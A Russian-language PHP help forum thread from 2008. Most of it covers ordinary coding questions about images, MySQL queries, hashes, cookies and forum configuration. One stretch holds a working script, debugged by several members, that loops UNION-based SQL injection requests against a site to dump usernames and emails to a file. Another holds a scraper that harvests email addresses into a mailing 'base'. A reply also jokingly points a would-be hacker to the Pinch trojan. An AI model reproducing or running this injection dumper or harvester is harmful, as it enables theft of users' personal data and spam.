$a =file_get_contents("http://blablabla.com/banner.html");
preg_match ("#<hr>]*>.*</hr>]*>#isU", $a, $regs);
header ("Content-type: image/png");
$im = @imagecreatetruecolor(120, 20)
or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "'.$regs[0];.'", $text_color);
imagepng($im);
imagedestroy($im);
?>
Выведет текст на чёрном фоне.
:) http://ua.php.net/manual/ru/function.imagecreatetruecolor.php
2lsass.exe
Думаю, что ему нужно граббить из страницы, где кроме этого еще много чего
imagestring($im, 1, 5, 5, "'.$regs[0];.'", $text_color);
Может лучше будет так:
imagestring($im, 1, 5, 5, $regs[0], $text_color);
Кстати ты проверял? Пример картинки бы показал =\
fudzimaro
17.01.2008, 16:05
2 bul.666
вот такая шляпа вылазит (http://i044.radikal.ru/0801/42/9fa260c54167.jpg)
:(
$im = @imagecreatetruecolor(120, 20) / (длина, высота) - для начала нужно узнать длину текста, так как будет не влазить в картинку.
Кликни по ссылке, я кусочек кода показал с офф мануала. http://ua.php.net/manual/ru/function.imagecreatetruecolor.php
Там и картинка есть
Все ж есть в документации!
str_replace($prermenaya, "text", "zamena");
прощу прощения, но синтаксис у этой функции выглядит так:
str_replace('text', 'zamena',$prermenaya);
Вот как сделал я:
файл http://bul666.info/ban.html:
<hr>Text on http://bul666.info/ban.html =)<span class=laln>
Файл banner.php:
<?php
$a =file_get_contents("http://bul666.info/ban.html");
preg_match_all ("|<hr>(.*)<|s", $a, $regs);
header ("Content-type: image/png");
$im = @imagecreatetruecolor(500, 20);
$text_color = imagecolorallocate($im, 255, 255, 255);
$fon_color = imagecolorallocate($im, 0, 75, 255);
imagefill($im, 0, 0, $fon_color);
imagestring($im, 12, 2, 2, $regs[1][0], $text_color);
imagepng($im);
imagedestroy($im);
?>
Результат: http://bul666.info/banner.php
Есть таблица в БД MySQL
id int(4) | datetime datetime | text varchar(500)
datetime формата (0000-00-00 00:00:00)
Как реализовать выборку за текущий день и текущий месяц?
dinar_007
17.01.2008, 22:43
Есть таблица в БД MySQL
id int(4) | datetime datetime | text varchar(500)
datetime формата (0000-00-00 00:00:00)
Как реализовать выборку за текущий день и текущий месяц?
Вот...
Это за сегодня:
select * from TABLE where date(datetime)=date(now());
Это выборка по определённому дню (если день с 00:00):
select * from TABLE where date(datetime)=date('2008-01-30');
Или просто
select * from TABLE where date(datetime)=''2008-01-30';
По месяцу (если месяц с 1-го числа):
select * from TABLE where month(datetime)+year(datetime)*12=month(now())+yea r(now())*12;
кстати этот вопрос часто задают при приеме на работу
fudzimaro
18.01.2008, 08:06
ребят это сново я, код bul.666 работает на ура но только с кирилицей он не дружит
з.ы всем спасибо выручили
groundhog
18.01.2008, 11:02
dinar_007, бляха-муха... А вот вместо того, чтобы городить такие запросы, не проще ли воспользоваться конструкцией interval?
fudzimaro, что значит не дружит? iconv тебе поможет?
Пишу небольшой двиг, сделал добавку/удаление новостей, в БД есть колонка id она сама присваивает каждой новости свой ид через auto_increment то есть 1,2,3,4...
$query = "INSERT INTO news VALUES(NULL, '$_POST[theme]', '$_POST[text]');
Но потом при удалении одной он отсчетывает дальше, например:
были с ид 1,2,3,4,5,6
затем я удалил 6 и 5
И при добавлении новой уже ставит ид не 5 или 6(т.к новостей с этим ид нет), а продалжает считать 7,8,9..
и это создает кучу проблем.
Помогите..
groundhog
18.01.2008, 14:16
Помогите...
Так и должно быть. Почитай труды Эдгара Кодда... Ты пытаешься бороться с теорией реляционных баз данных. Ты сделал первичный ключ, назначил на него атрибут auto_increment, следовательно ты приказал СУБД следить за целостностью по этому ключу. Это гарантирует, что не возникнет никакой коллизии по этому ключу, скажем у тебя будут записи, которые ссылаются на записи в этой таблице... Понимаешь, что произойдёт? Возможно нарушение логической целостности твоей схемы данных... А так значение каждый раз новое, это гарантирует, что никакой коллизии не будет, т.к. это значение ключа нигде не использовалось.
presidentua
18.01.2008, 14:27
eD']Пишу небольшой двиг, сделал добавку/удаление новостей, в БД есть колонка id она сама присваивает каждой новости свой ид через auto_increment то есть 1,2,3,4...
А что тебе в этом не нравиться. Просто забуть про это поле, пусть МуСкул про него думает.
А если тебе так это надо, так добавть еще одно поле, которое будешь сам заполнять. Тоесть если тебе нужно выставлять порядок высвечивания новостей, то в том поле пусть будет, номер по порядку выведения на экран. А в самом запросе выберешь сортировать по этому новому полю.
groundhog
18.01.2008, 14:32
По просьбе Хелиоса:
Вот тут можно узнать об Кодде:
http://www.kgau.ru/istiki/teis/ch13.html
А вот тут есть неплохая метода по теории баз данных, старой закалки между прочим...
http://www.kgau.ru/istiki/teis/
P(i)n*Fl0p1
18.01.2008, 18:21
Всем здрасте)вообщем у меня проблема есть))
Имеется флэш шаблон (папка в ней library,музыка,2 картинки,и документ браузерский)
Помогите плиз)как поставить этот шаблона на юкозовский сайт?)))и возможно ли вообще это)и чтоб после самого флэш ролика автоматом переходило на сайт)хэлп)
Да,и там когда ролик играет выводятся слова keyword1 keyword2 keyword3 company name)где их изменить?)) :confused: :confused:
dinar_007
18.01.2008, 18:40
dinar_007, бляха-муха... А вот вместо того, чтобы городить такие запросы, не проще ли воспользоваться конструкцией interval?
Через interval ИМХО - сложнее, неудобнее, хотя кому-как... Я там "нагородил" такие запросы для простоты понимания, чтобы было легче понять что к чему...
К datatime прибавить или отнять интервал select now()+ interval 1 mounth
Если отнять интервал от now() и сравнить с datetime то можно выбрать за нужный промежуток...
А если уж хочется что-то попроще, то:
select * from TABLE where date_format(now(),'%m %Y')=date_format('2008-01-19 02:10:20','%m %Y');
dinar_007
18.01.2008, 19:08
Всем здрасте)вообщем у меня проблема есть))
Имеется флэш шаблон (папка в ней library,музыка,2 картинки,и документ браузерский)
Помогите плиз)как поставить этот шаблона на юкозовский сайт?)))и возможно ли вообще это)
На счёт юкозовского сайта - думаю получится, но ХЗ как =) Не люблю этот хостинг почему-то =)
и чтоб после самого флэш ролика автоматом переходило на сайт)хэлп)
Для того чтобы автоматом переходило: как вариант можно будет засечь сколько времени в секундах длиться флеш-клип и в html-страницу между <head></head>добавить:
<META HTTP-EQUIV="Refresh" CONTENT="x; URL=http://dinar007.by.ru/нужная_статаница.html">
Чтобы браузер автоматически переключался на новый адрес через x секунд...
Да,и там когда ролик играет выводятся слова keyword1 keyword2 keyword3 company name)где их изменить?)) :confused: :confused:
Через Macromedia Flash поправь файл с расширением .fla, .swf
P.S. И хватит элементарные вопросы по ХТМЛ задавать в теме о вопросах по PHP...
<?php
$array = array('768667', '732533', '763637','784556');
function array_count($array, $index )
{
$result = 0;
foreach($array as $element)
{
if ($element === $index) ++ $result;
}
return $result;
}
$indexs = array ();
foreach($array as $index )
{
for($tmp = 0 ; $tmp < 6 ; $tmp ++)
{
$indexs[$tmp][] = $index[$tmp];
}
}
foreach($indexs as $element)
{
$search = 0;
$result = '';
foreach($element as $index)
{
if($search < array_count($element, $index))
{
$result = $index;
$search = array_count($element, $index);
}
}
echo $result;
}
?>
$result выводит число нормально.....но как вывести результ за пределами foreach() ?
Если просто вывод, то будет только последняя цифра..
$result выводит число нормально.....но как вывести результ за пределами foreach() ?
Если просто вывод, то будет только последняя цифра..
Если я тебя правильно понял, то так:
<?php
$array = array('768667', '732533', '763637','784556');
function array_count($array, $index )
{
$result = 0;
foreach($array as $element)
{
if ($element === $index) ++ $result;
}
return $result;
}
$indexs = array ();
$final = '';
foreach($array as $index )
{
for($tmp = 0 ; $tmp < 6 ; $tmp ++)
{
$indexs[$tmp][] = $index[$tmp];
}
}
foreach($indexs as $element)
{
$search = 0;
$result = '';
foreach($element as $index)
{
if($search < array_count($element, $index))
{
$result = $index;
$search = array_count($element, $index);
}
}
$final .= $result;
}
echo $final;
inlanger
19.01.2008, 22:38
Помогите, пожалуйста, с таким делом...
Есть адрес скрипта, например - _http://liveclix.net/links/104125.js
Как из этого файла выдрать все ссылки и записать их в массив?
2 inlanger
<?
$c=file_get_contents('http://liveclix.net/links/104125.js');
preg_match_all('|(http://[^\s\'">]+)|i',$c,$matches);
$massiv_s_ssylkami=$matches[1];
?>
<?
$a = file_get_contents('http://liveclix.net/links/104125.js');
preg_match_all('|<a href=([^>\s\n]+)>|i', $a, $b);
$array = $b[1];
?>
$array - это и будет массив со ссылками.
inlanger
19.01.2008, 22:48
Спасибо. Пойду пробовать...
Подскажите плиз Type Mime на расширения файлов rar,nth,sisx,cab,sdt . А то у меня загруз ругаетццо. За ранее спасибо!
http://www.webmaster-toolkit.com/mime-types.shtml
Вот полный список....
Нет неодного из тех что я перечислил....
Почему етот скрипт выдает слово "Array" вместо содержымого:
<?
$a = file_get_contents("http://php.spb.ru/php/fake_mail_demo.php");
preg_match_all("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $a, $b);
$array = $b[1];
echo("$b");
$open=fopen("baza.data","w+");
fwrite($open,"\r\n $array");
fclose($open);
?>
Подскажите плиз Type Mime на расширения файлов rar,nth,sisx,cab,sdt . А то у меня загруз ругаетццо. За ранее спасибо!
Вот тебе скрипт для определения mime-типа.
<?php
if(!isset($_POST['go']))
{
echo "<form enctype=\"multipart/form-data\" action=\"mime.php\" method=\"post\">
<input type=\"file\" name=\"f\"
<input type=\"submit\" name=\"go\">
</form>";
}
else echo $_FILES['f']['type'];
?>
сохрани в файл mime.php
Dimi4
$b - т.к это массив .. если хочеш посмотреть определёное знаечение доставь ключ
типа $b[ключ] или просмотри всё что есть в массиве так :
echo "<pre>";
print_r($b);
echo "</pre>";
Doom123
норм, но выводит типа
Array
(
[0] => Array
(
[0] => mavmj@rmkom2003.nf
[1] => mavmj@rmkom2003.nf
[2] => emymm@hmc.tz
[3] => emymm@hmc.tz
[4] => baim@xmmlu.fr
[5] => baim@xmmlu.fr
[6] => yt1no@hotmail.com
[7] => yt1no@hotmail.com
[8] => pehezm@hotmail.com
)
)
как оставить тока мейлы
+++
Я наверное тупой :)
когда хочу записать ето всё в файл, то тоже записывается слово "Array"
...
echo "<pre>";
$put=print_r($b);
echo "</pre>";
$open=fopen("baza.data","w+");
fwrite($open,$b);
fclose($open);
...
Почему етот скрипт выдает слово "Array" вместо содержымого:
<?
$a = file_get_contents("http://php.spb.ru/php/fake_mail_demo.php");
preg_match_all("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $a, $b);
$array = $b[1];
echo("$b");
$open=fopen("baza.data","w+");
fwrite($open,"\r\n $array");
fclose($open);
?>
$a = file_get_contents("http://php.spb.ru/php/fake_mail_demo.php");
preg_match_all("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $a, $b);
$array = $b[0];
$open=fopen("baza.data","w+");
for($i=0;$i<cout($array);$i++)fwrite($open,$array[$i]."\r\n");
fclose($open);
?>
Вот так будет правильно
Зачем цикл, если есть для таких целей implode?
string implode ( string glue, array pieces )
<?php
$array = array('lastname', 'email', 'phone');
$comma_separated = implode(",", $array);
echo $comma_separated; // lastname,email,phone
?>
Joker-jar
20.01.2008, 20:04
php.net/implode
И ещё:
Ну выдвинул я например мыльники.
Но база выщла типа:
abocms@armex.ru
abocms@armex.ru
abocms@armex.ru
support@armex.ru
support@armex.ru
abocms@armex.ru
Как удалить повторяющиеся мыльники?
for($i=0;$i<cout($array);$i++)fwrite($open,$array[$i]."\r\n");
fclose($open);
Для этого есть цикл намного проще и быстрее...
$array = $b[0];
$open=fopen("baza.txt","w");
foreach($array as $str) {
fwrite($open,$str."\r\n");
}
fclose($open);
спасиб, а как почистить лист? пост( #1665 )
используй array_unique(); она удалит все совпадения.. ненаю к какому массиву тебе надо помойму к тому что в $b сделй $b=array_unique($b); до $array = $b[0]; по идеи должно выйти
упс опоздал немного=)
$array = $b[0];
$new=array_unique($array);
$open=fopen("base_mail.txt","w");
foreach($new as $str) {
fwrite($open,$str."\r\n");
}
fclose($open);
-=lebed=-
22.01.2008, 22:36
Функция кодирования хэша содержит ошибку:
// Функция кодирования строки хэша в hex
function code_hash($s)
{
$n=0;
$hash_code="";
$code="";
$l=strlen($s)-1;
do
{
$code='0x'.$s[$n].$s[$n+1];
$hash_code.=chr(hexdec($code));
$n++;
}
while ($n++<$l);
return $hash_code;
}
Например берём хэш
952f26f83e66b8881ae7e603e1643e901f5b5220
кодируем/декодируем получаем:
952f26f83e66b8881ae7e63e1643e901f5b52
как видно пропали два нуля и двойка (3 символа!)
Функция декодирования:
// Функция декодирования хэша из hex.
function decode_hash($string)
{
$n=0;
$code="";
$decode_hash="";
$l=strlen($string)-1;
do
{
$code=ord($string[$n]);
$decode_hash.=dechex($code);
}
while ($n++<$l);
return $decode_hash;
}
Не пойму где ошибка, то ли в функциях, то ли при занесении в базу закодированного хэша, хелп плиз!
Лебедь, вместо первой функции используй bin2hex()
function unhex($str)
{
$str=str_replace('0x','',$str);
$unhexed='';
for($i=0;$i<strlen($str);$i+=2)
{
$unhexed.=chr(hexdec(substr($str,$i,2)));
}
return $unhexed;
}
-=lebed=- проверь, скорее всего у тебя в БД колонка ограничена 38 символами...
-=lebed=-
23.01.2008, 11:39
ошибка оказалась в функции декодирования хэша из hex в символьный вид:
// Функция декодирования хэша из hex.
function decode_hash($string)
{
$n=0;
$code="";
$decode_hash="";
$l=strlen($string)-1;
do
{
$code=ord($string[$n]); // вот тут если $code - односимвольное представление, то надо добавить 0 перед ним.
$decode_hash.=dechex($code);
}
while ($n++<$l);
return $decode_hash;
}
Исправил так:
// Функция декодирования хэша из hex-строки в символьное представление.
function decode_hash($string)
{
$n=0;
$code="";
$decode_hash="";
$l=strlen($string)-1;
do
{
$code=ord($string[$n]);
$code1=dechex($code);
if (strlen($code1)==1) $code1="0".$code; // если например $code=3 делаем 03
$decode_hash.=$code1;
}
while ($n++<$l);
return $decode_hash;
}
Лебедь, я же тебе написал функцию гораздо проще, зачем такой код громоздить?
-=lebed=-
23.01.2008, 12:41
Лебедь, я же тебе написал функцию гораздо проще, зачем такой код громоздить?
Это не то что мне нужно:
string bin2hex ( string str )
Возвращает строку, содержащую шестнадцатиричное представление аргумента str. Преобразование производится побайтно.
То если преобразовать строку хэша 952f26f83e66b8881ae7e603e1643e901f5b5220 то будет вот что:
39353266323666383365363662383838316165376536303365 313634336539303166356235323230
А мне надо получить строку символов, код которых chr(hexdec(95)).chr(hexdec(2f)).chr(hexdec(26)) и т.д.
Я имею ввиду функцию расшифровки. А зачем тебе такая бяка?
-=lebed=-
23.01.2008, 14:02
Я имею ввиду функцию расшифровки. А зачем тебе такая бяка?
Я хочу хэши в таблице Мускула хранить в естественном виде (hex).
Т.е. например MD5(128bit) в символьном виде займёт 32 байта, а я хочу 16 байт.
MySQL(64bit) в символьном виде 16 байт, а я хочу 8 и т. д.
PS Тут ещё проблема с экранированием спецсимволов. При запросе автоматом экранируются спецсимволы в $code3 и $code4. А сами слэши в таблицу записываются?
$query = "INSERT INTO ".$db_table." (`passwd`,`code3`,`code4`) VALUES (null,'".$code3."','".$code4."')";
$r=mysql_query($query);
хм, а если в функции md5 второй параметр true поставить, то он и будет занимать 16 байт вроде, т.е.
md5('blabla',true)=Я^ў™$Уњ;иxW4с1iЖ
-=lebed=-
23.01.2008, 14:12
хм, а если в функции md5 второй параметр true поставить, то он и будет занимать 16 байт вроде, т.е.
md5('blabla',true)=Я^ў™$Уњ;иxW4с1iЖ
Это в версии 5 PHP появилось, до этого не было... ;)
угу в 5, я просто привык уже к 5, вот и не подумал
-=lebed=-
23.01.2008, 14:31
угу в 5, я просто привык уже к 5, вот и не подумал
Замечание: Необязательный аргумент raw_output был добавлен в PHP 5.0.0 и по умолчанию равен FALSE
Я вообще не понимаю логики авторов php. Это должно быть сделано ещё в начальных версиях так и по умолчанию логично чтоб было сразу в бинарном виде. А уж если нада "читаемый" вид хэша получить, то доп. параметр - вот так было бы логичнее...
PS Я так понял исправляют косяки php ранние и чтоб совместимость сохранилась...
Подскажите как узнать имя файла зная только его дескриптор? Например имя файла создаваемого функцией
tmpfile().
Подскажите как узнать имя файла зная только его дескриптор? Например имя файла создаваемого функцией
tmpfile().
никак, эта функция создает безымянные файлы и работает чисто с дескриптором
ребят укажите на мою ошибку...
вот скрипт который
1) открывает файл emails.txt для дальнейшей записи туда *( fopen('emails.txt','a+'); )*
2) перебирает id как переменную $i *( id=$i/*'; )*
3) ищет в загруженной странице слово root@"localhost
*(preg_match_all('|root@"localhost([^"]*)"|is',$str,$out);)*
и уже далее мыло которое идет следом за ним сохраняет в открытый emails.txt
<?
$handler=fopen('emails.txt','a+');
for($i=1;$i<30;$i++)
{
$filename = 'http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),ema il)+from+users+WHERE+id=$i/*';
echo $i.". ";
$str = file_get_contents($filename);
preg_match_all('|root@"localhost([^"]*)"|is',$str,$out);
if(empty($out[1][0])) echo " no mail";
else{
echo " get ".$out[1][0];
fwrite($handler,$out[1][0]."\n");
}
echo "\n";
}
fclose($handler);
?>
но есть проблема .... он выводит в браузере что не нашел мыла а emails.txt заполняет самим html кодом...
в чем проблема?
может потому что перемменая $i находится между апостофами тоесть '$i' тада интерпретатор считает это не как перемменую а как знак доллора и букву i?
Зачем тебе preg_match_all? ты мыльники у юзеров смотриш так они ж не будут по 10 мыл писать у каждого юзера 1 мыло =)
думаю тебе этого вполне хватит
<?
$handler=fopen('emails.txt','a+');
for($i=1;$i<30;$i++)
{
$filename = "http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),ema il)+from+users+WHERE+id=$i/*";
echo $i.". ";
$str = file_get_contents($filename);
if(preg_match('|root@"localhost([^"]+)"|is',$str,$out) == 0) {echo " no mail";}
else{
echo " get ".$out['1'];
$save = $out['1']."\n";
fwrite($handler,$save);
}
echo "\n";
}
fclose($handler);
?>
не помогло .. =(( что может быть не так .. ???
Регулярка очень кривая. Но ничего точно сейчас сказать нельзя, потому что не совсем понятно что надо. Ссылку в студию.
не помогло .. =(( что может быть не так .. ???
странно проверял када в файлах мыльники вида root@"localhostE-mail@domain.com"
У меня всё прекрасно писало в файл хз что там не так ... может в скуле дело?
<?
$handler=fopen('emails.txt','a+');
for($i=1;$i<30;$i++)
{
$filename = "http://www.mysite.ru/index.php?t=-1+union+select+1,concat(0x2137333621,username,0x3a ,email,0x2137333621)+from+users+WHERE+id=$i/*";
echo $i.". ";
$str = file_get_contents($filename);
if(preg_match('|!736!(.*)!736!|is',$str,$out) == 0) {echo " no mail";}
else{
echo " get ".$out[1];
$save = $out[1]."\n";
fwrite($handler,$save);
}
echo "\n";
}
fclose($handler);
?>
попробуй так, я пвыпимпши немного, так что ту с регулярками разбираться тоже особо не стал но ты не размышляй над кодом, а сначала попробуй, а потом размышляй
=( не пашет , кстати может я просто в фильтре попутал .. ответ от запроса mysql inj идет следующий..
в тегах <title>root@localhost (Admin:admin@mysite.ru)</title>
А че ж ты мозги то паришь тогда:
<?
$handler=fopen('emails.txt','a+');
for($i=1;$i<30;$i++)
{
$filename = "http://www.mysite.ru/index.php?t=-1+union+select+1,concat(username,0x3a,email)+from+ users+WHERE+id=$i/*";
echo $i.". ";
$str = file_get_contents($filename);
if(preg_match('|\((.*)\)|is',$str,$out) == 0) {echo " no mail";}
else{
echo " get ".$out[1];
$save = $out[1]."\n";
fwrite($handler,$save);
}
echo "\n";
}
fclose($handler);
?>
а первый мой код у тебя не работает, потому что ты sql запрос мой исправляешь, причем его (первый вариант) лучше использовать, а вобще действительно как Macro сказал нужна конкретная ссыль, а то так получается "свидание вслепую", я уж не стал тут понармальному делать все просто регулярку подсказал, потому что, без наглядности тут нормально не сделаешь, вобще у тебя в этом скрипте много бесполезных вещей (ну если не много то они все равно есть)
аааааа все народ ооооггггррррооооомммммннн ноооооееее спасибо разобрался
Scipio - твой первый сткрипт работал , я просто как и сказал mysql запрос забыл поменять .. только сеня заметил как проспался....
Как правильно и наиболее быстро сделать такую операцию:
arr[1] = arr[1] + x
с проверкой на существование индекса в одну строчку и быстро. Т.к. таких операции должно выполниться очень много и чтобы синтаксис был удобочитаемый. Оптимального решения найти не могу.
if(isset($arr[1]))$arr[1]=$arr[1]+x;
можно еще так:
if(isset($arr[1]))$arr[1]+=x;
Оно?
Привет... У меня достаточно глуйпый вопрос...
кароче я делаю авторизацию на сайте и хочу записать кукисы с логином и паролем если они были правельно введены но пхп выводит сообщение о том что заголовок уже отправлен т.к у меня был первый вывод на 1ой строке <html><body background=s.jpg>
но я не могу это убрать т.к это фон страницы ... что мне делать скрипт не пишет куки изза хтмл тэга который незя убирать=)
что мне делать скрипт не пишет куки изза хтмл тэга который незя убирать=)
Гм. Ну либо используй кэширование вывода, либо меняй куки не header'ом, а с помощью html или javascript. Пару страниц назад был такой вопрос и на него достойно ответили :)
Какой код вписать в index.php чтобы при разрешении юзера 1024х768 грузился 1.css а при 1280х1024 2.css? или это на яве можно как нибудь сделать?
в head прописываешь
<script language="javascript">
if(screen.width=='1280'&&screen.height=='1024'){
document.write('<link rel="stylesheet" type="text/css" href="css1.css">');
};
if(screen.width=='1024'&&screen.height=='768'){
document.write('<link rel="stylesheet" type="text/css" href="css2.css">');
}
</script>
на php никак, на JS используй код приведенный Piflit'ом с той лишь разницей, что лучше ставить не равенство а больше или меньше, так как у меня например разрешение 1152х864 и еслиб я зашел на твой сайт то не загрузился бы ни один, ни другой а следовательно я увидил бы полную ересь и тут же вышел бы и никогда бы уже не вернулся...
Вот скрипт PHP-кода, мне нужно чтобы выполнялся блок 'else':
<?php
$a = 6;
if ($a = 5) {
echo "Все отлично";
}
else {
print <<<HERE
llsdjhvlshlk
dfvsdfvsdfv
dsfvdsfvsdfv
HERE;
}
?>
По-идее должно было бы выполняться условие 'else', но оно не выполняется. А вот если поставить $a == 6;, то то тогда уже оно выполняется... Почему такое отличие?
потому что
$a = 5 - так ты присваиваешь переменной $a значение 5 и оно возращает ТРУ, поэтому выполняется блок иф
а когда ты пишешь if ($a == 5) ты проверяешь равна ли переменная $a 5-и
<?php
$a = 6;
if ($a == 5) {
echo "Все отлично";
}
else {
print <<<HERE
llsdjhvlshlk
dfvsdfvsdfv
dsfvdsfvsdfv
HERE;
}
?>
= - присвоение переменой какого нибудь значения
== - логическое равенства тоесть 0==0 но также 0==false и наприме тут 1==1 но также 1==true ..true - истина ... false - ложь
=== - это эквилентность с им можно проверить если эта переменая($a) наприер точно ровна этому значению(5) в этом условии 0 не равен false т.к это не одно и тоже
*false равен 0 и пустой строке всё остальное это true
*эквилентность - это сравнение не только 2 выражений а также их типов
Подскажите пожалуйста, хочу поставить движрк vBulletin 3,6,8 и не могу установить, тпм надо еще что-то в файле config.php менять что? есть инструкция на русском???? Хелп!!!!!
вообщето там есть специальный установщик, если не ошибаюсь директория /install
Захожу туду, install.php и не понятно что написанно!!
presidentua
27.01.2008, 03:12
Только что закачивал файл на ДАМП.РУ и там есть прогресбар, тоесть показывает сколько уже байт загрузилось на сервер.
Как это делается? И вернее на какой стороне, тоесть это реализуется средствами ПХП или может быть это ява-скрипт.
To4NT1P0V,
там если меня память не подводит в папке includes/ файл config.php.new - убираешь расширение new и внутри правишь некоторые опции: т.е.
$config['Database']['dbname'] = '' - имя базы данных
$config['Database']['tableprefix'] = '' - тут префикс
$config['MasterServer']['servername'] = - имя сервера (у тебя вроде localhost)
$config['MasterServer']['username'] = ''; - имя пользователя
$config['MasterServer']['password'] = ''; - тут пасс,
там еще порт для соединения к mysql и т.д. это основные.
Почему $_FILES["file"]["tmp_name"] и $_FILES["file"]["size"] возвращает первый символ названия файла?
enctype="multipart/form-data"
Только что закачивал файл на ДАМП.РУ и там есть прогресбар, тоесть показывает сколько уже байт загрузилось на сервер.
Как это делается? И вернее на какой стороне, тоесть это реализуется средствами ПХП или может быть это ява-скрипт.
скорее всего это Ajax (JS) а вот на чьей стороне идет непосредственно подсчет не могу сказать, либо на клиенте либо Ajax подгружает с сервера...
Описание ошибки: mysql_connect(): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) /home/www/vzlomanet.com/includes/class_core.php on line 274
Невозоможно связаться с Вашей базой данных, т.к. у Вас не прав соединяться с сервером. Пожалуйста, подтвердите значения, введённые в файле 'includes/config.php' .
Такая ошибка, что не так??
$config['Database']['dbname'] =' staant_net';
$config['Database']['tableprefix'] = 'mysql4.freehostia.com';
$config['MasterServer']['servername'] ='localhost';
$config['MasterServer']['username'] ='staant_net';
$config['MasterServer']['password'] = 'qwerty';
Пожалуйста подскажите чего не так???? :confused: а то не могу с места сдвинуться!!!
Помагите новечку ! Оч шочется научится !!! делать программы и ломать что небуть)) Что нужно для этого??
Что нужно для этого??
Скачать pinch последний версии
sebbo
прочитай книгу Фленова "Delphi газами хэкера"
а мне не поможете????
P.S. кто поможет, тому дам 7*знак icq просто очень нужно.... :) :)
Скачать pinch последний версии
а какая последняя???
Описание ошибки: mysql_connect(): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) /home/www/vzlomanet.com/includes/class_core.php on line 274
Невозоможно связаться с Вашей базой данных, т.к. у Вас не прав соединяться с сервером. Пожалуйста, подтвердите значения, введённые в файле 'includes/config.php' .
Такая ошибка, что не так??
$config['Database']['dbname'] =' staant_net';
$config['Database']['tableprefix'] = 'mysql4.freehostia.com';
$config['MasterServer']['servername'] ='localhost';
$config['MasterServer']['username'] ='staant_net';
$config['MasterServer']['password'] = 'qwerty';
ты бы еще пасы на сервер выложилбы))))
настройки хостера может такие, возможно пользователь которого ты указываешь в базе не обладает такими правами, если нормальный хостер или есть cpanel, то создать другого и назначить на базу можно в два клика. а так сам ставил булентин на различных хостеров и ниче все нормально...
sebbo
прочитай книгу Фленова "Delphi газами хэкера"
и где достать книну??)
config['Database']['tableprefix'] = 'mysql4.freehostia.com';
это больше похоже на адрес сервака, чем на префикс к таблице, будь внимательней при заполнении конфига...
4nt1p0v, кинь сюда пасс рута на сервак, а мы тебе поможем конфиг написать. Без этого пасса не обойтись никак
Вопрос: как сконвертировать таблицу html в файл microsoft excel?
groundhog
28.01.2008, 14:15
Распарсить и в csv загнать...
Распарсить и в csv загнать...
Это я понимаю. ПРимер кода приведи, пожалуйста. Я не знаю структуры файлов excel, распарсить это раз плюнуть
astrologer
28.01.2008, 14:21
http://sdsilva.com/dataConversion.php.html
groundhog
28.01.2008, 14:28
Macro, да какая структура? CSV - это значения идущите через разделитель, например:
Фамилия;Должность;Зарплата
Иванов;Дирехтер;500000
Петров;Кодер;1000
Сидоров;Сторож;100
Потом этот файл открывается в экселе, в качестве разделителя ставится ";". Первую строку разумеется можно пропустить, т.к. несёт только информационный характер... В чём проблема работы с таким представлением данных?
.:EnoT:.
28.01.2008, 16:09
Такой странный вопрос у меня.
Админка, страница настроек...
На страницу выводится куча настроек для их изменения....
предположим таблица состоит из трёх полей..соответственно три какие-то настройки...
Так вот думаю как бы корректно изменять эти настройки если изменился только один параметр.
1) вариант сменить всё одним запросом.
UPDATE `settings` SET
`pole1` = '".$_POST['pole1']."' ,
`pole2` = '".$_POST['pole2']."' ,
`pole3` = '".$_POST['pole3']."'
примерно так
Но в таком случае не вижу надобности апдейтить все поля, если изменилось только одно...тем более как я сказал настроек там не 3 а намного больше.
2) Второй вариант это проверить изменена ли определённая настройка и если изменена, то апдейтить поле с этой настройкой. Но в тоже время если все настройки сменены, то тыща sql запросов это тоже не айс.
Так вот как лучше изменять настройки в такой ситуации?:)
это больше похоже на адрес сервака, чем на префикс к таблице, будь внимательней при заполнении конфига...
А где этот преыикс посмотреть?? Хостинг на freehostia.com??? :confused: :confused:
Префикс - это набор символов, с которого начинаются все имена таблицы для данного форума, чата или еще чего-нибудь. Например, для форумов PhpBB все таблицы начинаются на phpbb_, то есть в базе таблицы типа phpbb_auth_access, phpbb_users, phpbb_vote_voters и т.д. Вообще-то префикс придумывается самим пользователем или устанавливается по умолчанию. У вас есть шелл-доступ на хостер? Или вы ковыряете БД через phpMyAdmin? В первом случае, надо зайти по ssh со своим логином и пассом, затем набрать в командной строке
mysql -uusername -ppassword -hmysql4.freehostia.com
mysql> use dbname
mysql> show tables;
Вместо username, password и dbname вводите свои собственные данные
Вот и все. Во втором случае все просто - достаточно кликать мышкой
не вижу надобности апдейтить все поля, если изменилось только одно...
2) Второй вариант это проверить изменена ли определённая настройка и если изменена, то апдейтить поле с этой настройкой. Но в тоже время если все настройки сменены, то тыща sql запросов это тоже не айс.
Так вот как лучше изменять настройки в такой ситуации?:)
Чтобы апдейтить только те настройки, которые изменились - тебе придется сначала спросить у базы данных эти настрйки, а затем сравнить их с введенными. В результате получится немеренное количество запросов. Проще и лучше всего сделать именно так, как ты написал в своем коде, то есть просто отапдейтить все настройки снова.
.:EnoT:.
28.01.2008, 17:18
Macro
Ну я тоже склонялся к тому чтобы одним запросом всё апдейтнуть.
Кстати насчёт провеки изменения настроек, базу данных спрашиваю ещё в самом начале, а потом можно просто проверять конкретное поле))
спасибо!
Да, что-то я ступил, ведь тыдолжен вывести настройки в поля =) Ну, теоретически можно написать джаваскрипт, который будет отсылать только измененные параметры, но только зачем? :) Сильно это ничего не изменит.
.:EnoT:. второй вариант получается нагруженнее первого т.к. тебе нужно делать ещё один запрос к бд и смотреть что там изменилось.Можно ещё сохранять дефолтовые значения в сессии из первого запроса
-=lebed=-
28.01.2008, 17:57
как присвоить результат логической переменной?
$logic=($a==$b);
так не прокатывает...
.:EnoT:.
28.01.2008, 18:05
как присвоить результат логической переменной?
$logic=($a==$b);
так не прокатывает...
а зачем ты два знака равно поставил? Ты же присваиваешь а не сравниваешь :)
.:EnoT:. ну.если $a==$b то истина,иначе лож.
-=lebed=- $logic=true?
-=lebed=-
28.01.2008, 18:11
а зачем ты два знака равно поставил? Ты же присваиваешь а не сравниваешь :)
